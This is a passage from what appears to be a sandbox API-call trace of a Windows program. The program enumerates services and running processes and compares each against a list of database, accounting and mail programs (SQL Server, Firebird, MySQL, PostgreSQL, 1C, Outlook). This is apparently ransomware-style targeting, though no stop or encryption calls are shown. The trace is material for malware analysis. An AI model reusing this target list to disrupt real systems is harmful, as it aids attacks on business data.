lpString2="CscService") returned 1 [0166.277] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0166.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0166.277] lstrlenW (lpString="DcomLaunch") returned 10 [0166.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0166.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0166.277] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0166.277] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0166.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0166.277] lstrlenW (lpString="Dhcp") returned 4 [0166.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0166.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0166.278] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0166.278] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0166.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0166.278] lstrlenW (lpString="Dnscache") returned 8 [0166.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0166.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0166.278] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0166.278] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0166.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0166.278] lstrlenW (lpString="DPS") returned 3 [0166.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0166.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0166.278] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0166.278] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0166.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0166.278] lstrlenW (lpString="eventlog") returned 8 [0166.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0166.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0166.278] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0166.278] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0166.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0166.278] lstrlenW (lpString="EventSystem") returned 11 [0166.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0166.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0166.278] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0166.278] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0166.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0166.278] lstrlenW (lpString="gpsvc") returned 5 [0166.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0166.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0166.278] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0166.279] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0166.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0166.279] lstrlenW (lpString="iphlpsvc") returned 8 [0166.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0166.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0166.279] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0166.279] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0166.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0166.279] lstrlenW (lpString="LanmanServer") returned 12 [0166.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0166.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0166.279] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0166.279] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0166.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0166.279] lstrlenW (lpString="LanmanWorkstation") returned 17 [0166.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0166.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0166.279] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0166.279] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0166.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0166.279] lstrlenW (lpString="lmhosts") returned 7 [0166.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0166.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0166.279] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0166.279] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0166.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0166.279] lstrlenW (lpString="MMCSS") returned 5 [0166.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0166.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0166.279] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0166.279] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0166.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0166.280] lstrlenW (lpString="MpsSvc") returned 6 [0166.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0166.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0166.280] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0166.280] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0166.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0166.280] lstrlenW (lpString="Netman") returned 6 [0166.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0166.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0166.280] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0166.280] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0166.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0166.280] lstrlenW (lpString="netprofm") returned 8 [0166.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0166.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0166.280] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0166.280] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0166.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0166.280] lstrlenW (lpString="NlaSvc") returned 6 [0166.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0166.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0166.280] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0166.280] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0166.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0166.280] lstrlenW (lpString="nsi") returned 3 [0166.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0166.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0166.280] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0166.280] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0166.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0166.281] lstrlenW (lpString="PcaSvc") returned 6 [0166.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0166.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0166.281] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0166.281] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0166.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0166.281] lstrlenW (lpString="PlugPlay") returned 8 [0166.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0166.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0166.281] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0166.281] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0166.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0166.281] lstrlenW (lpString="Power") returned 5 [0166.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0166.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0166.281] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0166.281] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0166.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0166.281] lstrlenW (lpString="ProfSvc") returned 7 [0166.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0166.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0166.281] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0166.281] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0166.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0166.281] lstrlenW (lpString="RpcEptMapper") returned 12 [0166.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0166.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0166.281] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0166.281] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0166.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0166.281] lstrlenW (lpString="RpcSs") returned 5 [0166.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0166.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0166.282] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0166.282] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0166.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0166.282] lstrlenW (lpString="SamSs") returned 5 [0166.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0166.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0166.282] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0166.282] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0166.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0166.282] lstrlenW (lpString="Schedule") returned 8 [0166.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0166.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0166.282] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0166.282] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0166.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0166.282] lstrlenW (lpString="SENS") returned 4 [0166.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0166.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0166.282] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0166.282] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0166.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0166.282] lstrlenW (lpString="ShellHWDetection") returned 16 [0166.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0166.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0166.282] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0166.282] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0166.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0166.282] lstrlenW (lpString="Spooler") returned 7 [0166.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0166.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0166.283] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0166.283] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0166.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0166.283] lstrlenW (lpString="SysMain") returned 7 [0166.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0166.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0166.283] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0166.283] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0166.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0166.283] lstrlenW (lpString="Themes") returned 6 [0166.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0166.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0166.283] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0166.283] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0166.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0166.283] lstrlenW (lpString="TrkWks") returned 6 [0166.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0166.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0166.283] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0166.283] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0166.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0166.283] lstrlenW (lpString="UxSms") returned 5 [0166.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0166.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0166.283] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0166.283] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0166.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0166.283] lstrlenW (lpString="WdiServiceHost") returned 14 [0166.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0166.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0166.284] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0166.284] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0166.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0166.284] lstrlenW (lpString="WdiSystemHost") returned 13 [0166.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0166.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0166.284] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0166.284] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0166.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0166.284] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0166.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0166.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0166.284] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0166.284] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0166.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0166.284] lstrlenW (lpString="Winmgmt") returned 7 [0166.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0166.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0166.284] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0166.284] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0166.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0166.284] lstrlenW (lpString="WPDBusEnum") returned 10 [0166.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0166.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0166.284] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0166.284] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0166.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0166.284] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x42de628 | out: hHeap=0x630000) returned 1 [0166.284] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2c4 [0166.286] Process32FirstW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0166.286] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0166.287] lstrlenW (lpString="System") returned 6 [0166.287] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0166.287] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0166.287] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0166.287] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0166.287] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0166.287] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0166.287] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0166.287] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0166.287] lstrlenW (lpString="smss.exe") returned 8 [0166.287] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0166.287] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0166.287] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0166.287] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0166.287] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0166.287] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0166.287] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0166.287] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0166.288] lstrlenW (lpString="csrss.exe") returned 9 [0166.288] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0166.288] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0166.288] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0166.288] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0166.288] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0166.288] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0166.288] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0166.288] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0166.288] lstrlenW (lpString="wininit.exe") returned 11 [0166.288] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0166.288] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0166.288] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0166.288] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0166.288] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0166.288] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0166.288] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0166.288] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0166.289] lstrlenW (lpString="csrss.exe") returned 9 [0166.289] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0166.289] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0166.289] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0166.289] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0166.289] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0166.289] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0166.289] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0166.289] lstrlenW (lpString="winlogon.exe") returned 12 [0166.289] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0166.290] lstrlenW (lpString="services.exe") returned 12 [0166.290] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0166.290] lstrlenW (lpString="lsass.exe") returned 9 [0166.290] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0166.290] lstrlenW (lpString="lsm.exe") returned 7 [0166.290] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.291] lstrlenW (lpString="svchost.exe") returned 11 [0166.291] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.291] lstrlenW (lpString="svchost.exe") returned 11 [0166.291] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.291] lstrlenW (lpString="svchost.exe") returned 11 [0166.291] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.292] lstrlenW (lpString="svchost.exe") returned 11 [0166.292] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.292] lstrlenW (lpString="svchost.exe") returned 11 [0166.292] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0166.293] lstrlenW (lpString="audiodg.exe") returned 11 [0166.293] Process32NextW (in: hSnapshot=0x2c4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, 